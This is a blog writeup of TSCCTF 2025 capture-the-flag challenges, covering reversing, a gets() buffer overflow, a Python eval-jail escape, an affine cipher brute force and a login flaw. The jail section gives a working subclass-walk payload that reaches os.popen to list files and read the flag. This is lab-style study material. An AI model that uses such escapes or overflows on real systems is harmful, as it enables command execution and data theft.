Skip to main content
  1. Posts/

2025 TSCCTF Writeup

··3695 words

有種這次比賽一樣除了welcome之外什麼都解不開的感覺QQ
然後再加上跑去日本爽玩所以只打了不到24小(X
最後還忘記繳交writeup(哭爛

image

CTFd: https://ctfd.tscctf.com/ #

(他們CTFd真的做的好漂亮)

Welcome #

Give you a free flag #

題目 #

這裡據說藏了個 Flag

image

Author: Ruki

解法 #

他題目下面有一大段空白,sus

image

flag

TSC{W3llc0me_t0_TSC2O2SIlIllI}

Please Join Our Discord!!! #

題目 #

想要我的 Flag 嗎?想要的話就送給你吧!自己去找吧,我把它埋藏在那裡了 於是…許多人爭相前往「TSCCTF Discord」,並追逐著這個夢想 所以,當時的年代可以說是一個「大資安時代」!

image

Author: 哥爾·D·Kazma

::: spoiler Unlock Hint for 0 points
Emoji 是 TSCCTF2024 的 DC flag ! If you found an emoji, that’s the flag for last year’s TSCCTF.
:::

解法 #

image

flag

TSC{w31c0m3_t0_t5cc7f2025_d15c0rd!!!}

Feedback Form #

題目 #

https://forms.gle/FQtKQbdLuqhtcPAh8
Please fill out feedback form. Thank you!

flag

TSC{thanks_for_playing_and_c_u_nexy_year!}

Reverse #

What_Happened #

題目 #

其實我也不太清楚發生什@#!@麼事@#情
但@#@##%(()^%()!
!%%@$東!@#%()&西#!#)&&)
放ˋˋ@($)@俺@Xsa在納莉

image

Auth: Ruki

IDA #

# main
// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char Destination[51]; // [esp+1Eh] [ebp-32h] OVERLAPPED BYREF

  __main();
  strcpy(Destination, &flag_encrypted);
  puts("1. This is Flag:");
  puts("2. ...");
  puts("3. What Happened??? Something Error");
  printf("4. %s\n", Destination);
  return 0;
}

int __cdecl encrypt(char *Str, int a2)
{
  int result; // eax
  signed int v3; // [esp+18h] [ebp-10h]
  signed int i; // [esp+1Ch] [ebp-Ch]

  v3 = strlen(Str);
  for ( i = 0; i < v3; ++i )
    *(_BYTE *)(i + a2) = Str[i] ^ 0xAA;
  result = v3 + a2;
  *(_BYTE *)(v3 + a2) = 0;
  return result;
}

int decrypt_flag()
{
  char v1[50]; // [esp+16h] [ebp-42h] BYREF
  int v2; // [esp+48h] [ebp-10h]
  int i; // [esp+4Ch] [ebp-Ch]

  v2 = strlen(flag_encrypted);
  for ( i = 0; i < v2; ++i )
    v1[i] = flag_encrypted[i] ^ 0xAA;
  v1[v2] = 0;
  return printf("Decrypted Flag: %s\n", v1);
}

用IDA翻了一下
找到加密後的flag

image

解法 #

欸好好笑 意外發現$#$會變成$#$
好啦回正題
那就剩下解密了

def decrypt_flag(encrypted_flag):
    decrypted_flag = []

    # 用 XOR 密鑰 0xAA 進行解密
    for byte in encrypted_flag:
        decrypted_flag.append(byte ^ 0xAA)

    # 輸出解密後的結果
    decrypted_string = ''.join(chr(byte) for byte in decrypted_flag)
    print("Decrypted Flag:", decrypted_string)

# 加密過的 flag 資料(以十六進制表示)
encrypted_flag = [
    0xFE, 0xF9, 0xE9, 0xD1, 0xE3, 0xF5, 0xFE, 0xC2,
    0xC3, 0xC4, 0xC1, 0xF5, 0xD3, 0xC5, 0xDF, 0xF5,
    0xEC, 0xC3, 0xD2, 0xF5, 0x98, 0xC5, 0xC7, 0xCF,
    0xF5, 0x99, 0xD8, 0xD8, 0xC5, 0xD8, 0xD7
]

# 解密
decrypt_flag(encrypted_flag)
flag

TSC{I_Think_you_Fix_2ome_3rror}

Chill Checker #

Just Reverse and Chill.

image

Author: Kazma

IDA #

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s2[32]; // [rsp+10h] [rbp-40h] BYREF
  char s1[20]; // [rsp+30h] [rbp-20h] BYREF
  int v6; // [rsp+44h] [rbp-Ch]
  int j; // [rsp+48h] [rbp-8h]
  int i; // [rsp+4Ch] [rbp-4h]

  v6 = -559038737;
  for ( i = 0; i <= 19; ++i )
    s2[i] = 0;
  *(_QWORD *)s2 = 0x57484959495A4753LL;
  printf("Whisper your code: ");
  __isoc99_scanf("%8s", s1);
  for ( j = 0; j <= 7; ++j )
    s1[j] = complex_function((unsigned int)s1[j], (unsigned int)(j + 8));
  if ( !strcmp(s1, s2) )
  {
    puts("Man, you're really on fire!");
    generate_flag(s1);
  }
  else
  {
    random_failure_message(s1);
  }
  return 0;
}

看起來是搞出正確的s1就可以拿到flag

解法 #

def complex_function(a1, a2):
    """模擬原始的 complex_function
    a1: 輸入字元的 ASCII 值
    a2: 位置 + 8"""
    if a1 <= 64 or a1 > 90:
        return None
    return ((a1 - 65 + 31 * a2) % 26 + 65)

def reverse_complex(target, pos):
    """
    反向求解 complex_function
    target: 目標字元的 ASCII 值
    pos: 位置(0-7)
    """
    # 對每個可能的大寫字母輸入進行測試
    for c in range(65, 91):  # A-Z
        result = complex_function(c, pos + 8)
        if result == target:
            return c
    return None

def solve():
    # 目標字串(從分析中得到的正確順序)
    target = "SGZIYIHW"
    solution = ""
    
    print("解碼過程:")
    print("位置\t目標\t解碼\t驗證")
    print("-" * 50)
    
    for i in range(8):
        # 找出能產生目標字元的輸入
        orig_char = reverse_complex(ord(target[i]), i)
        if orig_char is None:
            print(f"位置 {i} 無法找到有效解")
            return None
        
        # 驗證
        check = complex_function(orig_char, i + 8)
        if check != ord(target[i]):
            print(f"位置 {i} 驗證失敗")
            return None
            
        solution += chr(orig_char)
        print(f"{i}\t{target[i]}\t{chr(orig_char)}\t{chr(check) if check else 'X'}")
    
    return solution

def verify_solution(solution, target="SGZIYIHW"):
    """完整驗證解答"""
    if len(solution) != 8:
        return False
        
    result = ""
    for i in range(8):
        transformed = complex_function(ord(solution[i]), i + 8)
        if transformed is None:
            return False
        result += chr(transformed)
    
    return result == target

if __name__ == "__main__":
    print("正在解碼...\n")
    solution = solve()
    
    if solution:
        print(f"\n找到解答: {solution}")
        if verify_solution(solution):
            print("驗證成功!")
        else:
            print("驗證失敗!")
    else:
        print("\n無法找到有效解答")

拿到ENBFQVPZ

image

flag

TSC{t4k3_1t_3a$y}

Pwn #

說好今年要開始打pwn題 但我好懶(爛)(:3 」∠ )

gamble_bad_bad #

題目 #


拉霸機
非常好玩的拉霸機
你有辦法贏得大獎嗎?

image

Auth: Ruki
nc 172.31.0.2 1337

#include <string.h>
#include <iostream>
#include <stdio.h>
using namespace std;

void jackpot() {
    char flag[50];
    FILE *f = fopen("/home/gamble/flag.txt", "r");
    if (f == NULL) {
        printf("錯誤:找不到 flag 檔案\n");
        return;
    }
    fgets(flag, 50, f);
    fclose(f);
    
    printf("恭喜你中了 777 大獎!\n");
    printf("Flag 是:%s", flag); 
}

struct GameState {
   char buffer[20];
   char jackpot_value[4];  
} game;

void spin() {
   strcpy(game.jackpot_value, "6A6");
   
   printf("輸入你的投注金額:");
   gets(game.buffer);

   printf("這次的結果為:%s\n", game.jackpot_value);

   if (strcmp(game.jackpot_value, "777") == 0) {
       jackpot();
   } else {
       printf("很遺憾,你沒中獎,再試一次吧!\n");
   }
}

int main() {
   setvbuf(stdout, NULL, _IONBF, 0);
   setvbuf(stdin, NULL, _IONBF, 0);
   printf("歡迎來到拉霸機!試著獲得 777 大獎吧!\n");
   spin();
   return 0;
}

解法 #

game.buffer 的大小是 20 字元,但使用 gets() 函數讀取用戶輸入,這樣會造成緩衝區溢出,覆蓋 game.jackpot_value,該變數的大小是 4 字元。
所以輸入20個A然後再加上777

image

flag

TSC{Gamb1e_Very_bad_bad_but_}

Web #

我好爛 我不會打web

image

其實有看兩題
Ave Mujica那題知道考點是目錄遍歷但還是試不出來(經驗不足
Be_IDol成功進到檔案下載的地方,但是不知道什麼壞壞的文件因為我是好駭客

Misc #

BabyJail #

題目 #

Just a normal pyjail without builtins!
Author: Vincent55
nc 172.31.3.2 8002

他給的程式 #

#!/usr/local/bin/python3

print(eval(input('> '), {"__builtins__": {}}, {}))

意思大概是 執行使用者輸入的內容並印出結果
但使用者輸入的內容有被限制

eval #

eval(expression, globals, locals)
eval 是 Python 的內建函數,用來執行 字串表達式,並返回執行結果。
第一個參數:expression 是需要執行的字串(來自使用者輸入)。
第二個參數:globals 是全局變數字典,定義可以使用的全局變量和函數。
第三個參數:locals 是局部變數字典,定義可以使用的局部變量。

所以他在第二個參數用**{"builtins": {}}** 禁用了Python的內建函數(例如 print, open, 等)
然後第三個參數是空的,表示沒有額外的變數可以用

解題思路 #

先用"".__class__.__base__.__subclasses__()找到可用的類別

> ''.__class__.__mro__[1].__subclasses__()
[<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class '_contextvars.Token'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Context'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <class 'dict'>, <class 'ellipsis'>, <class 'enumerate'>, <class 'filter'>, <class 'float'>, <class 'frame'>, <class 'frozenset'>, <class 'function'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'instancemethod'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'list'>, <class 'longrange_iterator'>, <class 'int'>, <class 'map'>, <class 'member_descriptor'>, <class 'memoryview'>, <class 'method_descriptor'>, <class 'method'>, <class 'moduledef'>, <class 'module'>, <class 'odict_iterator'>, <class 'pickle.PickleBuffer'>, <class 'property'>, <class 'range_iterator'>, <class 'range'>, <class 'reversed'>, <class 'symtable entry'>, <class 'iterator'>, <class 'set_iterator'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'stderrprinter'>, <class 'super'>, <class 'traceback'>, <class 'tuple_iterator'>, <class 'tuple'>, <class 'str_iterator'>, <class 'str'>, <class 'wrapper_descriptor'>, <class 'zip'>, <class 'types.GenericAlias'>, <class 'anext_awaitable'>, <class 'async_generator_asend'>, <class 'async_generator_athrow'>, <class 'async_generator_wrapped_value'>, <class '_buffer_wrapper'>, <class 'Token.MISSING'>, <class 'coroutine_wrapper'>, <class 'generic_alias_iterator'>, <class 'items'>, <class 'keys'>, <class 'values'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'hamt'>, <class 'sys.legacy_event_handler'>, <class 'InterpreterID'>, <class 'line_iterator'>, <class 'managedbuffer'>, <class 'memory_iterator'>, <class 'method-wrapper'>, <class 'types.SimpleNamespace'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'positions_iterator'>, <class 'str_ascii_iterator'>, <class 'types.UnionType'>, <class 'weakref.CallableProxyType'>, <class 'weakref.ProxyType'>, <class 'weakref.ReferenceType'>, <class 'typing.TypeAliasType'>, <class 'typing.Generic'>, <class 'typing.TypeVar'>, <class 'typing.TypeVarTuple'>, <class 'typing.ParamSpec'>, <class 'typing.ParamSpecArgs'>, <class 'typing.ParamSpecKwargs'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class '_frozen_importlib._WeakValueDictionary'>, <class '_frozen_importlib._BlockingOnManager'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_io.IncrementalNewlineDecoder'>, <class '_io._BytesIOBuffer'>, <class '_io._IOBase'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external.NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'ast.AST'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'collections.abc.Iterable'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Buffer'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]

然後可以用這個來看檔案
().__class__.__base__.__subclasses__()[134].__init__.__globals__['sys'].modules['os'].popen('ls').read()

image

最後就直接cat flag
().__class__.__base__.__subclasses__()[134].__init__.__globals__['sys'].modules['os'].popen('cat flag_LwAyYvKd').read()
image

flag

TSC{just_a_classic_nobuiltins_pyjail_for_baby}

Subdomain Hijacking #

題目 #

Did you hear about Subdomain?
Author: sunick2009

解法 #

他的首頁長這樣

image

需要先在右上角的分頁生成一個subdomain之後才能拜訪
image

隨便亂嘗試了一些 當試了tsc之後拿到Target
image

好莫名其妙的一題 ||通靈大師是你||

flag

TSC{hijacking_success_3f3c5f28f2424452ab458f5a3cb48b4f}

Gif Tempo #

題目 #

Is there any hiding sequence in the gif?
Be aware, you need to add the prefix TSC{} before submit.

gif_tempo

Author: sunick2009

解題思路 #

先把他丟到gif工具看一下

image

看起來沒料 就是一對白色跟c
那就把這些照片抓下來丟aperi

發現有三種照片
第一種是1秒的 像是 frame_01_delay-1s.jpg, frame_05_delay-1s.jpg, frame_09_delay-1s.jpg
在顏色的分析下會有點陣圖出現

image

第二種是0.7秒的 像是frame_00_delay-0.7s.jpg, frame_06_delay-0.7s.jpg, frame_08_delay-0.7s.jpg
雖然是白的但是濾掉某個顏色後會變成
image

第三種是0.2和0.3秒的 就都全白

那來用GIMP看一下點陣圖 有沒有可能跟去年的RGB那題類似呢
(後來我有把圖拼起來 弄出一個像是data matrix的東西但還是解不出來

Crypto #

Classic #

題目 #

The classics never fade.
Author : freddy

chal.py #

import os
import string
import secrets

flag = "TSC{test_flag}"

charset = string.digits + string.ascii_letters + string.punctuation
A, B = secrets.randbelow(2**32), secrets.randbelow(2**32)
assert len(set((A * x + B) % len(charset) for x in range(len(charset)))) == len(charset)

enc = "".join(charset[(charset.find(c) * A + B) % len(charset)] for c in flag)
print(enc)

encrypt flag #

o`15~UN;;U~;F~U0OkW;FNW;F]WNlUGV"

解法 #

import string

# 已知的加密結果
enc = 'o`15~UN;;U~;F~U0OkW;FNW;F]WNlUGV"'

# 字符集
charset = string.digits + string.ascii_letters + string.punctuation
charset_len = len(charset)

# 定義函數來測試是否是有效的映射
def is_valid_mapping(a, b):
    # 檢查是否每個字符都有唯一映射
    mapped = set((a * x + b) % charset_len for x in range(charset_len))
    return len(mapped) == charset_len

# 定義解密函數
def decrypt(enc_text, a, b):
    # 計算 a 的乘法逆元
    def mod_inverse(a, m):
        def extended_gcd(a, b):
            if a == 0:
                return b, 0, 1
            gcd, x1, y1 = extended_gcd(b % a, a)
            x = y1 - (b // a) * x1
            y = x1
            return gcd, x, y
        
        _, x, _ = extended_gcd(a, m)
        return (x % m + m) % m
    
    a_inv = mod_inverse(a, charset_len)
    
    # 解密
    decrypted = ""
    for c in enc_text:
        pos = charset.find(c)
        if pos == -1:
            return None
        # 反向運算:(pos - B) * A^(-1) mod len(charset)
        orig_pos = ((pos - b) * a_inv) % charset_len
        decrypted += charset[orig_pos]
    
    return decrypted

# 找到可能的 A 和 B
def find_key():
    for a in range(1, charset_len):
        # a 需要與 charset_len 互質
        if not is_valid_mapping(a, 0):
            continue
        
        for b in range(charset_len):
            if not is_valid_mapping(a, b):
                continue
                
            # 嘗試解密
            result = decrypt(enc, a, b)
            if result and "TSC{" in result and "}" in result:
                return a, b, result
    
    return None, None, None

# 執行解密
a, b, flag = find_key()
if flag:
    print(f"Found flag: {flag}")
    print(f"Key used - A: {a}, B: {b}")
else:
    print("Could not find valid key")

image

flag

TSC{c14551c5_c1ph3r5_4r5_fr4g17e}

Very Simple Login #

題目 #

nc 172.31.2.2 36900
Author : Curious

server.py #

import base64
import hashlib
import json
import os
import re
import sys
import time
from secret import FLAG


def xor(message0: bytes, message1: bytes) -> bytes:
    return bytes(byte0 & byte1 for byte0, byte1 in zip(message0, message1))


def sha256(message: bytes) -> bytes:
    return hashlib.sha256(message).digest()


def hmac_sha256(key: bytes, message: bytes) -> bytes:
    blocksize = 64
    if len(key) > blocksize:
        key = sha256(key)
    if len(key) < blocksize:
        key = key + b'\x00' * (blocksize - len(key))
    o_key_pad = xor(b'\x5c' * blocksize, key)
    i_key_pad = xor(b'\x3c' * blocksize, key)
    return sha256(o_key_pad + sha256(i_key_pad) + message)


def sha256_jwt_dumps(data: dict, exp: int, key: bytes):
    header = {'alg': 'HS256', 'typ': 'JWT'}
    payload = {'sub': data, 'exp': exp}
    header = base64.urlsafe_b64encode(json.dumps(header).encode())
    payload = base64.urlsafe_b64encode(json.dumps(payload).encode())
    signature = hmac_sha256(key, header + b'.' + payload)
    signature = base64.urlsafe_b64encode(signature).rstrip(b'=')
    return header + b'.' + payload + b'.' + signature


def sha256_jwt_loads(jwt: bytes, exp: int, key: bytes) -> dict | None:
    header_payload, signature = jwt.rsplit(b'.', 1)

    sig = hmac_sha256(key, header_payload)
    sig = base64.urlsafe_b64encode(sig).rstrip(b'=')
    if sig != signature:
        raise ValueError('JWT error')

    try:
        header, payload = header_payload.split(b'.')[0], header_payload.split(b'.')[-1]
        header = json.loads(base64.urlsafe_b64decode(header))
        payload = json.loads(base64.urlsafe_b64decode(payload))
        if (header.get('alg') != 'HS256') or (header.get('typ') != 'JWT'):
            raise ValueError('JWT error')
        if int(payload.get('exp')) < exp:
            raise ValueError('JWT error')
    except Exception:
        raise ValueError('JWT error')
    return payload.get('sub')


def register(username: str, key: bytes):
    if re.fullmatch(r'[A-z0-9]+', username) is None:
        raise ValueError("'username' format error.")
    return sha256_jwt_dumps({'username': username}, int(time.time()) + 86400, key)


def login(token: bytes, key: bytes):
    userdata = sha256_jwt_loads(token, int(time.time()), key)
    return userdata['username']


def menu():
    for _ in range(32):
        print('==================')
        print('1. Register')
        print('2. Login')
        print('3. Exit')
        try:
            choice = int(input('> '))
        except Exception:
            pass
        if 1 <= choice <= 3:
            return choice
        print('Error choice !', end='\n\n')
    sys.exit()


def main():
    key = os.urandom(32)
    for _ in range(32):
        choice = menu()
        if choice == 1:
            username = input('Username > ')
            try:
                token = register(username, key)
            except Exception:
                print('Username Error !', end='\n\n')
                continue
            print(f'Token : {token.hex()}', end='\n\n')
        if choice == 2:
            token = bytes.fromhex(input('Token > '))
            try:
                username = login(token, key)
            except Exception:
                print('Token Error !', end='\n\n')
            if username == 'Admin':
                print(f'FLAG : {FLAG}', end='\n\n')
                sys.exit()
            else:
                print('FLAG : TSC{???}', end='\n\n')
        if choice == 3:
            sys.exit()


if __name__ == '__main__':
    try:
        main()
    except Exception:
        sys.exit()
    except KeyboardInterrupt:
        sys.exit()

不知道是程式寫錯還是怎樣,一度懷疑這麼簡單的嗎
他這句是不是不該用if…還是其實是故意的

if username == 'Admin':
                print(f'FLAG : {FLAG}', end='\n\n')

因為這樣只要註冊一個Admin再登入就可以拿到flag了

image

flag

TSC{Wr0nG_HM4C_7O_L3A_!!!}

Result #

image

image